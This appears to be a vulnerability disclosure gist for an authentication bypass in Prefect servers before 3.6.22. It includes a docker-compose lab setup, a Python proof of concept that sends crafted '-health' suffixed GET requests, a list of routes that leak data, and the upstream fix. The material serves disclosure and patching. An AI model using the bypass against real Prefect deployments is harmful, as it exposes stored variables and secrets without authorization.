nedlir / **REPORT.md** Secret

Created 2 weeks ago

Code Revisions 1

compoe.yaml

```
services:
  postgres:
    image: postgres:14
    environment:
      POSTGRES_USER: prefect
      POSTGRES_PASSWORD: prefect
      POSTGRES_DB: prefect
    volumes:
      - postgres_data:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U prefect"]
      interval: 5s
      timeout: 5s
      retries: 5

  prefect-server:
    image: prefecthq/prefect:3.6.21
    depends_on:
      postgres:
        condition: service_healthy
    environment:
      PREFECT_API_DATABASE_CONNECTION_URL: postgresql+asyncpg://prefect:prefect@postgres:5
      PREFECT_SERVER_API_HOST: 0.0.0.0
      PREFECT_SERVER_UI_API_URL: http://localhost:4200/api
      # AUTH ENABLED — this is the prerequisite for the vulnerability
      PREFECT_SERVER_API_AUTH_STRING: "admin:supersecretpassword"
    command: prefect server start
    ports:
      - "4200:4200"
    healthcheck:
      test:
        [
          "CMD",
          "python",
          "-c",
```

```
          "import urllib.request as u; u.urlopen('http://localhost:4200/api/health', timeo
        ]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 60s

volumes:
  postgres_data:
```

poc.py

```
"""
PoC: Prefect auth bypass via endswith() health check exemption.
Affected: 3.x < 3.6.22 with PREFECT_SERVER_API_AUTH_STRING set.

Usage:
    docker compose up -d
    python poc.py (this file lol)
"""

import requests
import sys

TARGET = "http://localhost:4200"

try:
    requests.get(f"{TARGET}/api/health", timeout=5)
except requests.ConnectionError:
    sys.exit("Server unreachable. Run: docker compose up -d")

if requests.get(f"{TARGET}/api/flows", timeout=5).status_code != 401:
    sys.exit("Auth not enabled. Set PREFECT_SERVER_API_AUTH_STRING.")

pairs = [
    ("/api/variables/name/test",        "/api/variables/name/test-health"),
    ("/api/flows/name/myflow",          "/api/flows/name/myflow-health"),
    ("/api/work_pools/default",         "/api/work_pools/default-ready"),
    ("/api/concurrency_limits/tag/foo", "/api/concurrency_limits/tag/foo-health"),
]

bypassed = 0
for normal, crafted in pairs:
    a = requests.get(f"{TARGET}{normal}", timeout=5).status_code
    b = requests.get(f"{TARGET}{crafted}", timeout=5).status_code
    ok = a == 401 and b != 401
    bypassed += ok
    print(f"[{'BYPASS' if ok else 'FAIL'}] {normal} -> {a} | {crafted} -> {b}")

```

```
38 print(f"\n{bypassed}/{len(pairs)} bypassed. 404 (not 401) = router reached.")
```

REPORT.md

Prefect Auth Bypass via `endswith()` Health Check Exemption

Field	Value
Product	Prefect (PrefectHQ/prefect)
Affected	3.x < 3.6.22 with `PREFECT_SERVER_API_AUTH_STRING` set
Fixed In	3.6.22
Fix Commit	`e216171253` (PR #21063)
CVE	None assigned
CWE	CWE-287, CWE-183
CVSS 3.1	5.3 Medium -- `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

Bug

The auth middleware exempts health probes using suffix matching:

```
if request.url.path.endswith(("health", "ready")) and request.method.upper()
    return await call_next(request)
```

Any GET path ending in `health` or `ready` skips authentication.

Constraints

- GET only. POST/PUT/DELETE still require auth.
- Most Prefect endpoints use UUIDs as path params (not exploitable).
- Attacker cannot create resources to match the suffix. Relies on pre-existing names.

Exploitable routes

Routes where the last path segment is a user-controlled string:

Route	Leaks
`/api/variables/name/{name}`	Variable value (may contain secrets)
`/api/work_pools/{name}`	Work pool config
`/api/flows/name/{name}`	Flow metadata
`/api/block_types/slug/{slug}/block_documents/name/{name}`	Block document (may contain secrets)
`/api/concurrency_limits/tag/{tag}`	Concurrency limit config
`/api/v2/concurrency_limits/{id_or_name}`	Concurrency limit config
`/api/work_queues/name/{name}`	Work queue config

Proof

```
GET /api/variables/name/test        -> 401 (auth enforced)
GET /api/variables/name/test-health -> 404 (auth skipped, reached router)
```

404 instead of 401 proves the middleware was bypassed entirely. See `poc.py`.

Reproduction

```
docker compose up -d   # starts Prefect 3.6.21 with auth enabled
python poc.py
```

Fix (3.6.22)

Replaced suffix matching with exact set membership on the ASGI scope path:

```
health_check_paths = {health_check_path, "/ready"}
app_path = request.scope["path"].removeprefix(request.scope.get("root_path",
if app_path in health_check_paths and request.method.upper() == "GET":
    return await call_next(request)
```